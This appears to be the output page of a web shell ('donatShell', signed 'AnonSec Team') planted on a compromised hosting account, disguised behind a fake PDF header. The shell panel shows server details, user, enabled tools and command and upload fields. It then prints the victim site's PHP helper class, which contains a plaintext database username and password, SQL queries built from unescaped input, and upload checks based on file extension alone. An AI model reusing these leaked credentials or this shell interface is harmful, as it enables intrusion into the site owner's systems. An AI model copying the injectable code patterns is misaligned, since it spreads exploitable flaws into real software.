%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/vlasotin/public_html/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/vlasotin/public_html/library/wfm.php
<?php
	$HTTP_POST_VARS = &$_POST;
	$HTTP_GET_VARS = &$_GET;
	$HTTP_COOKIE_VARS = &$_COOKIE;
	class WFM {
		
		var $valueFormat = array();
		var $velicinaFajla = "";
        var $fileExt = "";
        
		function WFM() {
			
		}
		
		function connect2DB($h = "localhost", $u = "vlasotin_vesti", $p = "Vlass2015", $db = "vlasotin_cms") {
			$link = @mysql_connect($h, $u, $p) or die("Error: ".mysql_error());
			mysql_select_db($db, $link) or die("Error: ".mysql_error());
			mysql_query ("SET NAMES utf8 COLLATE utf8_slovenian_ci", $link);
            
			return $link;
		}
		
		function closeDB($link) {
			mysql_close($link); 
		}
		
		function redirect($link, $time = 0) {
			echo "<meta http-equiv='refresh' content='$time;URL=$link' />";
			die();
		}
		function generateUrlFromText($strText) {

		$strip = array("~", "`", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "_", "=", "+", "[", "{", "]",
						   "}", "\\", "|", ";", ":", "\"", "'", "&#8216;", "&#8217;", "&#8220;", "&#8221;", "&#8211;", "&#8212;",
						   "—", "–", ",", "<", ".", ">", "/", "?");
			$strText = trim(str_replace($strip, "", strip_tags($strText)));
			$strText = str_replace("š", "s", $strText);
			$strText = str_replace("Š", "s", $strText);
			$strText = str_replace("ž", "z", $strText);
			$strText = str_replace("Ž", "z", $strText);
			$strText = str_replace("Č", "c", $strText);
			$strText = str_replace("č", "c", $strText);
			$strText = str_replace("Ć", "c", $strText);
			$strText = str_replace("ć", "c", $strText);
			$strText = str_replace("Đ", "dj", $strText);
			$strText = str_replace("đ", "dj", $strText);
	        $strText = preg_replace('/[^A-Za-z0-9-]/', ' ', $strText);
	        $strText = preg_replace('/ +/', ' ', $strText);
	        $strText = trim($strText);
	        $strText = str_replace(' ', '-', $strText);
	        $strText = preg_replace('/-+/', '-', $strText);
			$strText = str_replace("---", "-", $strText);
	        $strText = strtolower($strText);
	        return $strText;
			}
		function execQuery($sqlUpit) {
		global $link;
			
			$upit = mysql_query($sqlUpit, $link) or die("Error: ".mysql_error($link));
			
			$niz = split(" ", $sqlUpit);
			
			if($niz[0] == "INSERT") $_SESSION["lastInsertId"] = mysql_insert_id();
			
			return $upit;
		}

		function returnFieldValue($polje,$vrednost,$uporednoPolje,$tabela){
			$sqlUpit = "SELECT $polje FROM $tabela WHERE $uporednoPolje = '$vrednost'";
			$upit = $this->execQuery($sqlUpit);
			$red = mysql_fetch_array($upit, MYSQL_NUM);
			$vrednost = $red[0];
            $vrednost = stripslashes($vrednost);
			return $vrednost;
		}
		
		function stringCleaner($string) {
			$string 	= trim($string);
			$vrednost 	= mysql_real_escape_string($string);
			return $vrednost;
		}

		function getValue($vrednost){
		global $HTTP_POST_VARS, $HTTP_GET_VARS, $_SERVER;
		
			$REQUEST_METHOD = $_SERVER["REQUEST_METHOD"];
			
			if($REQUEST_METHOD == 'POST') {
				$uzetaVrednost = $HTTP_POST_VARS[$vrednost];
			} else if($REQUEST_METHOD == 'GET') {
				$uzetaVrednost = $HTTP_GET_VARS[$vrednost];
			}
			
			$uzetaVrednost = $this->stringCleaner($uzetaVrednost);
			
			return $uzetaVrednost;
		}
		
		/*
		 * uploadujFajl("imeFajla", 
		 * 				 "dodatiFajlovi/",
		 * 				 "jpg,gif",
		 * 				 1,
		 * 				 array(array("dodatiFajlovi/male/", 150),
		 *					   array("dodatiFajlovi/srednje/", 250)),
		 * 				 array(array("dodatiFajlovi/cropMale/", 50, 50),
		 *					   array("dodatiFajlovi/cropSrednje/", 100, 100)));
		 * 
		 */
		 function fileUpload($sledeciID, $field_name, $targetDir, $fileName, $exstensions) {
	 		
	 		if(isset($_FILES["$field_name"]) && $_FILES["$field_name"]['size'] > 0) {
				$tmp_name = $_FILES["$field_name"]["tmp_name"];
				$file_type = $_FILES["$field_name"]["type"];
				
				$getExt = explode ('.', $_FILES["$field_name"]['name']);
				$file_ext = $getExt[count($getExt)-1];
				
				$file_ext = strtolower($file_ext);
				
				$file_size = $_FILES["$field_name"]['size'];
				$niz = explode(",", $exstensions);
		
				if(!in_array($file_ext, $niz)) 
					die("Error: Only these picture extensions are allowed <strong>".$exstensions."</strong>");
				
				
				$name = $fileName."-".$sledeciID.".".$file_ext;
				$n = $targetDir.$name;
				
				move_uploaded_file($tmp_name, $n);
				
				return $name;
			}
	 	}
		 function setMessage($string, $type = "success") {
			$_SESSION["message"] = $string;
			$_SESSION["messageType"] = $type;
		}
		
		function getMessage() {
			$string = $_SESSION["message"];
			$type = $_SESSION["messageType"];
			
			if(strlen($string) > 0) {
				unset($_SESSION["message"]);
				unset($_SESSION["messageType"]);
				?>
                <div class="coloralert" style="background: #68a117;">
                	<i class="fa fa-check"></i>
                    	<p>Čestitamo!<br><?= $string; ?></p>
                        <a href="#close-alert"><i class="fa fa-times-circle"></i></a>
                </div>
				<?php
			}
		}
		function uploadFile() {
		global $_FILES;
			
			$this->velicinaFajla = "";
			$brojArgumenata = func_num_args();
		
			$nazivPolja = func_get_arg(0);
			if($brojArgumenata > 1)
				$targetdir 	= func_get_arg(1);
			else 
				$targetdir 	= 'upload/';
			
			if($brojArgumenata > 2)
				$dozvEkst 	= func_get_arg(2);
			else 
				$dozvEkst 	= '';
			
			if($brojArgumenata > 3)
				$trueName	= (func_get_arg(3) == 1)  ? 1 : 0;
			else 
				$trueName 	= 1;
			
			if($brojArgumenata > 4)
				$destinacija = func_get_arg(4);
			else 
				$destinacija = array();
			// primer za destinaciju:
			// 		array(array("dodateSlike/male/", 150),
			//			  array("dodateSlike/srednje/", 250))
			if($brojArgumenata > 5)
				$cropOvanje = func_get_arg(5);
			else 
				$cropOvanje = array();
			// primer za kropovanje:
			//		array(array("cropSlike/male/", 50, 50),
			//			  array("cropSlike/srednje/", 75, 75),
			//			  array("cropSlike/velike/", 100, 100))
			
			
			if(isset($_FILES[$nazivPolja]) && $_FILES[$nazivPolja]['size'] > 0) {
				$tmp_name = $_FILES["$nazivPolja"]["tmp_name"];
				$file_type = $_FILES["$nazivPolja"]["type"];
				
				$getExt = explode ('.', $_FILES[$nazivPolja]['name']);
				$file_ext = $getExt[count($getExt)-1];
				
				$file_ext = strtolower($file_ext);
				
				$this->velicinaFajla = $_FILES[$nazivPolja]['size'];
				
				$niz = explode(",", $dozvEkst);
	
				if(!in_array($file_ext, $niz)) 
					die("Error: Only the following extensions are allowed: <strong>".$dozvEkst."</strong>");

                $this->fileExt = $file_ext;

				if($trueName == 0) {
					$rand_name = rand(0,999999999);
				} else 
					$rand_name = basename($_FILES[$nazivPolja]['name'], ".".$file_ext);
	
				$name = "lajkujem_".$rand_name.".".$file_ext;
				$n = $targetdir.$name;
				
				if(count($destinacija) > 0) {
					for($i = 0; $i < count($destinacija); $i++) {
						resizeImage($tmp_name, $file_type, $destinacija[$i][0], $destinacija[$i][1], $name);
					}
				}
				
				move_uploaded_file($tmp_name, $n);
				
				if(count($cropOvanje) > 0) {
					for($i = 0; $i < count($cropOvanje); $i++) {
						cropImage($cropOvanje[$i][1], 
								  $cropOvanje[$i][2], 
								  $n, 
								  $file_ext, 
								  $cropOvanje[$i][0].$name);
					}
				}
				
				$_SESSION['imeFajla'] = $name;
				
				return $name;
			} else return "";
		}
		
		function endAll($string) {
		global $link;
			
            $this->closeDB($link);
			die($string);
		}
		
		function readLanguage() {
			
			if(isset($_GET['lang'])) {
				$lang = $_GET['lang'];
				setcookie("sel_lang", $_GET['lang'], time()+8640000, "/");
			} else {
				if(isset($_COOKIE["sel_lang"])) {
					$lang = $_COOKIE["sel_lang"];
				} else {
					$lang = "en";
					setcookie("sel_lang", "en", time()+8640000, "/");
				}
			}
			
			return $lang;
		}
		
		function generateConstants($key, $lang = "en") {
        global $link;

            $allConst = array();

            $upit = mysql_query("SELECT * FROM `lang_".$lang."` WHERE `key` = '$key'", $link) or die(mysql_error($link));
            while($data = mysql_fetch_array($upit, MYSQL_ASSOC)) {
                $allConst[$data['constant']] = $data['value'];
            }
            return $allConst;
        }

        function generateValidationCode() {

            $string = passwordGeneration(5, "ABCDEFGHIJKLMNOPQRSTUVXWYZabcdefghijklmnopqrstuvxwyz1234567890");
            $image_name = passwordGeneration(9, "ABCDEFGHIJKLMNOPQRSTUVXWYZ");
            $_SESSION['jbvc'] = $string;
            $_SESSION['jbvcc'] = "0";
            $_SESSION['jbvcin'] = $image_name;
            $im     = imagecreatefromjpeg("images/verificationcode_back.jpg");
            $orange = imagecolorallocate($im, 3, 0, 159);
            $font = imageloadfont('fonts/1.gdf');
            imagestring($im, $font, 4, -2, $string, $orange);
            imagepng($im, "vc_images/".$image_name.".png");
            imagedestroy($im);

            return "vc_images/".$image_name.".png";
        }

        function sendActivationMail($email, $name, $activation_code, $userId, $cont) {
        global $link;

        	$userId = base_convert($userId, 10, 26);
        
            $upit = mysql_query("SELECT * FROM mail_schema WHERE name = 'activation_mail'", $link);
            $data = mysql_fetch_array($upit, MYSQL_ASSOC);
            
            $act_link = "http://jb.ivanbajalovic.com/activate/".$userId ."/".$activation_code;
			
            $cont->body = str_replace("{link}", $act_link, $data['schema']);
            $cont->from = "jabber@ivanbajalovic.com";
            $cont->subject = $data['title'];
            $cont->fromName = "Jabberbins";
            
            sendMail($cont);
        }
        
        function sendForgottenPassword($email, $password) {
        global $link;

            $upit = mysql_query("SELECT * FROM mail_schema WHERE name = 'forgotten_password'", $link);
            $data = mysql_fetch_array($upit, MYSQL_ASSOC);

            $body = str_replace("{password}", $password, $data['schema']);
            $from = "noreply@jb.ivanbajalovic.com";
            $fromName = "Jabberbins";
            
            mail($email, $data['title'], $body, "From: $fromName <$from>");
        }
	} //end of class
	
?>

Anon7 - 2022
AnonSec Team